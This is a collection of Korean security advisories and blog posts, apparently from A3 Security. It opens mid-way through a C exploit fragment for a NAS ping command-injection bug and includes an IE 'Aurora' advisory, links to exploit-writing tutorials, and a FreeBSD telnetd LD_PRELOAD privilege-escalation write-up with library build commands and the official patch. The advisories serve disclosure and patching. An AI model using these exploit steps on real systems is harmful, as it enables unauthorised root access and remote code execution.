goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료



 "Exploit Writing"이라는 주제로 학습을 하실때 참고할만한 문서입니다.

회원가입을 한다면 PDF로도 문서를 제공합니다.

어제 날짜(2월 25일)로도 따근한~ 9번째 문서가 나왔네요.

블로그 주소 : http://www.corelan.be:8800/index.php/category/security/exploit-writing-tutorials/

 [해당 문서들 주소]
http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/
http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

Microsoft Internet Explorer "Aurora" Memory Corruption

취약점 보안 권고안

By. bdr@a3sc.co.kr
(A.K.A Dear.Tom)


Ⅰ. 취약점 개요

취약점

Microsoft Internet Explorer "Aurora" Memory Corruption

최초 발표일

2010 1

현재상태(패치여부)

unpached (1월 23일 패치 예정)

구성요소

Windows Internet Explorer

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“Aurora”는 MS Windows Internet Explorer에서 비 정상적인 메모리 참조로 인하여 원격코드가 실행되는 취약점으로 2010년 1월 초 구글, 야후 등의 해외 기업의 공격 사례에 이용되었다는 사실을 통해 알려지기 시작했습니다. 해당 취약점의 공격코드는 현재 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 분들에 대한 주의가 요구됩니다. 단, MS의 공식 패치는 2010년 1월 23일 공개 될 예정입니다.

2. 대상 시스템
다음은 MS에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service pack 2
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems
Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4
Internet Explorer 6 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 6 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 7 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 8 for Windows Server 2003 Service Pack 2, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 8 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 in Windows 7 for 32-bit Systems
Internet Explorer 8 in Windows 7 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems



Ⅱ. 취약점 세부 분석

1. 취약점 내용
이 취약점은 mshtml.dll 에서 CElement::GetDocPtr 메서드(method)가 잘못된 메모리를 참조하여 발생하며, 그 공격원리는 다음과 같습니다.

해당 공격코드는 "document.CreateEventObject()"를 이용하여, 이미지를 불러오거나 링크를 클릭하여 이벤트가 활성화 된 객체를 복사합니다. 그리고 "document.getElementById()"를 사용하여 활성화된 이벤트 공간을 참조한 다음, 어떤 임의의 문자열을 지정하여 그 개체를 파괴합니다. 이렇게 복사된 이벤트 객체는 유효하지는 않지만, 여전히 해당 메모리 공간으로 접근 할 수 있다는 점을 이용한 취약점입니다.

2. 공격 분석
다음은 “Aurora” 공격코드 중 쉘코드를 실행시키기 위한 Heap-spray, 이벤트 객체 복사 및 삭제 등을 하는 코드 부분입니다.

 

다음은 공격코드에서 nop slide에 해당하는 값을 임시로 수정하여 프로그램 흐름을 확인하는 화면입니다. 메모리는 nop slide(“BBBBBBBB”)로 가득 채워지고, 이로인해 EIP는 잘못된 메모리 주소 “BBBBBBBB”를 참조하고 있음을 확인 할 수 있습니다.


다음은 mshtml.dll 에서 비정상적인 메모리 주소로 접근하는 코드 영역(GetDocPtr())을 확인하는 화면입니다.


다음은 해당 취약점을 이용하여 타인의 PC를 장악하는 화면입니다.


3. 위험 분석

MS의 공식 패치가 이루어지지 않은 현재, 해당 취약점의 공격코드는 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 사용자 대부분이 위험에 노출되어 있어, 적절한 대책을 적용하지 않은 사용자는 공격자에게 장악당할 수 있습니다.


Ⅲ. 해결 방안

1. DEP 활성화 패치 설치
  URL) http://download.microsoft.com/download/C/A/D/CAD9DFDF-AF35-4712-B876-B2EEA708495C/MicrosoftFixit50285.msi
2. IE 8로 업데이트(DEP 활성화 여부 확인)
3. IE의 보안 수준 강화

  설정) IE 도구 메뉴 -> 인터넷 옵션 -> 보안 탭 -> 사용자 지정 수준 -> “Active Scripting” 항목 ‘확인’ 혹은 ‘사용안함’으로 변경
  주의) 일부 사이트가 올바르게 작동하지 않을 수 있음.
4. 공식 패치 적용(1월 23일 발표 예정)
  URL) http://blogs.technet.com/koalra/archive/2010/01/21/s2010-1.aspx


Ⅳ. 참고자료

[1] Understanding DEP as a mitigation technology part 1 & 2
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-2.aspx
[2] 'Aurora' Exploit Retooled To Bypass Internet Explorer's DEP Security
  URL) http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=222301436&cid=RSSfeed_DR_News
[3] Operation “Aurora” Hit Google, Others
  URL) http://siblog.mcafee.com/cto/operation-%e2%80%9caurora%e2%80%9d-hit-google-others/
[4] Microsoft Security Advisory (979352)
  URL) http://www.microsoft.com/technet/security/advisory/979352.mspx
[5] Aurora Exploit 최초 공개
  URL) http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
[6] Microsoft New Internet Explorer 0-day Vulnerability and Targeted Attacks
  URL) http://securitylabs.websense.com/content/Blogs/3530.aspx
[7] The Problem With innerHTML
  URL) http://www.julienlecomte.net/blog/2007/12/38/
 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : 붉은반점(r3dp0int@a3sc.co.kr)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)



FreeBSD 7.0-RELEASE Telnet Daemon
Local Privilege Escalation Exploit



취약점

FreeBSD Telnetd Remote Code Execution 취약점

A3SC Advisory ID

 

위험등급

최초 발표일

2009 2

문서 작성일

2009 2 25

벤더

FreeBSD

현재상태(패치여부)

홈페이지 패치 가능


1. 요약
FreeBSD 텔넷 데몬(telnet(8))은 Telnet 가상 터미널 프로토콜의 서버를 구축하는데 사용하는 데몬입니다. 하지만, 보안의 이유로 2001년 8월부터 FreeBSD에서는 텔넷 대신 SSH프로토콜을 사용할 것을 권고해왔습니다. 텔넷 프로토콜은 접속한 클라이언트가 새롭게 생성된 로그인 세션에 대해 설정될 수 있는 환경변수를 직접 지정할 수 있도록 허가합니다. 이걸 사용하여 터미널 설정 등을 정할 수가 있게 됩니다.

이 점을 이용한 환경변수 기반의 공격을 막기 위해서는 텔넷 데몬이 해가 되는 환경변수 부분을 제거해주어야 합니다. 하지만, 환경변수 부분을 제대로 체크하지 못하는 점을 이용하여 텔넷 접속 시 root 권한으로 접속하여 코드 실행이 가능한 취약점입니다.


2. 취약점 대상
 FreeBSD (7.0 – Release) 버전
 FreeBSD (7.1 – Release) 버전


3. 취약점 영향

본 취약점은 아래와 같은 영향을 줄 수 있습니다.

취약점 영향

위험도

시스템 중요파일 변경 가능

시스템 코드 실행 가능




II. 취약점 상세분석

1. 취약점 개요
본 취약점은 /bin/login을 실행시키기 이전 단계에서 환경변수 LD_PRELOAD같이 LD_*를 체크하지 않아서 생기는 취약점입니다. 이는 원격에서 root권한으로 코드를 실행할 수 있습니다.

[program.c 원본 : http://www.milw0rm.com/exploit/8055] 일부 수정하였음.

이를 아래의 명령어를 이용하여 컴파일 할 것입니다.

#gcc –o program.o –c program.c –fPIC
#gcc –shared –Wl, -soname, libno_ex.so.1 –o libno_ex.so.1.0 program.o –nostartfiles

정상적으로 실행하였다면 아래 그림과 같이 파일이 존재하는 것을 확인할 수 있습니다.


[그림 1] 디렉토리 내 생성된 파일 확인

이중 라이브러리 함수를 쉽게 알 수 있는 임의의 위치에 복사를 해 놓습니다.
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

이 취약점을 실제 공격에 이용하기 위해서는 위와 같이 다른 공격을 이용하여 알려진 위치에 LD_PRELOAD 환경변수를 설정해놓은 다음 telnet을 이용하여 원격 혹은 로컬로 Root 권한을 얻어 낼 수 있게 됩니다.

이제는 위와 같은 과정을 거쳐 목표 서버에 환경설정을 완료했다는 가정하에 Telnet을 이용하여 Root 권한을 얻도록 하겠습니다.

telnet 을 열어 SRA(Secure RPC Authentication)을 끄고, 환경설정을 위해 심어놓은 라이브러리를 불러들여 권한상승을 실행할 수 있도록 합니다.

몇 줄 되지 않지만, 실행하면 아래의 그림과 같이 Root 만의 기호 #을 볼 수 있게 됩니다. 권한 비교 및 확인을 위해 id 명령어를 이용하였습니다.


[그림 2] Telnet 접속 시 환경설정을 이용하여 권한 상승에 성공한 화면
위와 같이 Telnet 을 이용해 권한 상승에 성공하였음을 확인하였습니다.


2. 소스코드 패치 분석
= 패치 시 삭제될 부분
= 패치 시 추가될 부분

  char **cpp, **cpp2;
  const char **p;
-
-  for (cpp2 = cpp = environ; *cpp; cpp++) {

+ char ** new_environ;
+ size_t count;
+
+ /* Allocate space for scrubbed environment. */
+ for (count = 1, cpp = environ; *cpp; count++, cpp++)
+  continue;
+ if ((new_environ = malloc(count * sizeof(char *))) == NULL) {
+  environ = NULL;
+  return;
+ }
+
+  for (cpp2 = new_environ, cpp = environ; *cpp; cpp++) {
   int reject_it = 0;
 
   for(p = rej; *p; p++)
@@ -1286,10 +1296,15 @@
   for(p = acc; *p; p++)
    if(strncmp(*cpp, *p, strlen(*p)) == 0)
     break;
-  if(*p != NULL)
-    *cpp2++ = *cpp;

+  if(*p != NULL) {
+   if ((*cpp2++ = strdup(*cpp)) == NULL) {
+    environ = new_environ;
+    return;
+   }
+  }
   }
  *cpp2 = NULL;
+ environ = new_environ;
 }


주요 패치 내용 )
새로운 포인트 변수 new_environ을 할당하고, 만약 환경변수 environ에 환경변수가 등록되어 있으면 이 값을 지워버리고 new_environ에 입력하여 environ 값으로 바꿔줍니다.



III. 결론

1. 대응 방안

근본적인 문제해결은 있을 수 없습니다. 하지만, Telnet 데몬을 사용하지 않는다면, 이 취약점에는 안전합니다.
FreeBSD 홈페이지에는 이미 패치가 올라와 있습니다. 이를 이용하여 패치할 수 있습니다.
http://security.freebsd.org/patches/SA-09:05/telnetd.patch


2. 참고 문헌 및 사이트
Exploit 소스 : http://www.milw0rm.com/exploits/8055 [Exploit 코드 부문 자체 수정이 있었습니다.]
공식 권고문 : http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc
공식 패치 코드 : http://security.freebsd.org/patches/SA-09:05/telnetd.patch



[indra (indra@a3security.com) 의 한마디...]
LD_PRELOAD는 *nix 계열 environment 에서 동적 라이브러리를 로드하는데에 쓰이며, 이는 다른 라이브러리를 로딩하는 로직보다 우선순위를 가지고 있습니다.
따라서 예전에 함수의 반환값을 0으로 만드는 라이브러리를 LD_PRELOAD를 사용해 로드하고 shell을 실행하면 getuid() 계열 함수의 반환값이 0 이 되어 whoami, id 등의 명령어 결과를 root 로 만들게끔 조작하는 것이 가능했었습니다.

그러나 실제 kernel 상의 process image에는 권한등록이 일반 user로 되어 있기 때문에 실제 root의 권한은 아니었고요. 이러한 LD_PRELOAD의 기능을 이용한 것이 해당 exploit의 기본 아이디어 이구요.

원격접속을 받아 인증을 하고 pts, tty 등의 터미널 관련 device를 생성하는 등의 작업을 하기 위해서는 root 권한으로 daemon이 실행되어야 하는데, LD_PRELOAD 를 이용한 로드된 라이브러리에서 shell을 바로 실행시켜 버리기 때문에 권한이 낮춰지지 않은 상태의 root shell이 실행되게 됩니다.

exploit 은 현재 공개되어 있으며, 09년 2월 16일자로 공개되었습니다.

다음의 링크 입니다.

http://milw0rm.com/exploits/8055

exploit을 보면 environ 명령을 통해 환경변수를 설정할 수 있고, 이를 조작하여 원격접속 시 LD_PRELOAD라는 환경변수를 이용해 악의적인 라이브러리를 로드할 수 있게 됩니다.어떻게 보면 예전에 나왔던 SunOS telnet 취약점이랑 비슷합니다. remote 취약점은 아니나, web, ftp 에 접근하여 파일을 생성할 수 있는 경우 해당 취약점에 노출됩니다.

이에 대한 공식 권고문은 다음의 링크 입니다.

http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc

공식 패치의 코드는 다음의 링크 입니다.

http://security.freebsd.org/patches/SA-09:05/telnetd.patch

패치된 코드는 환경변수를 의미하는 environ을 설정하고 환경변수가 등록되어 있으면 해당 값을 지워버리는 것으로 LD_PRELOAD의 환경변수 값을 지워버리게 됩니다. 따라서 공격자의 라이브러리는 로드되지 않겠죠.



Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.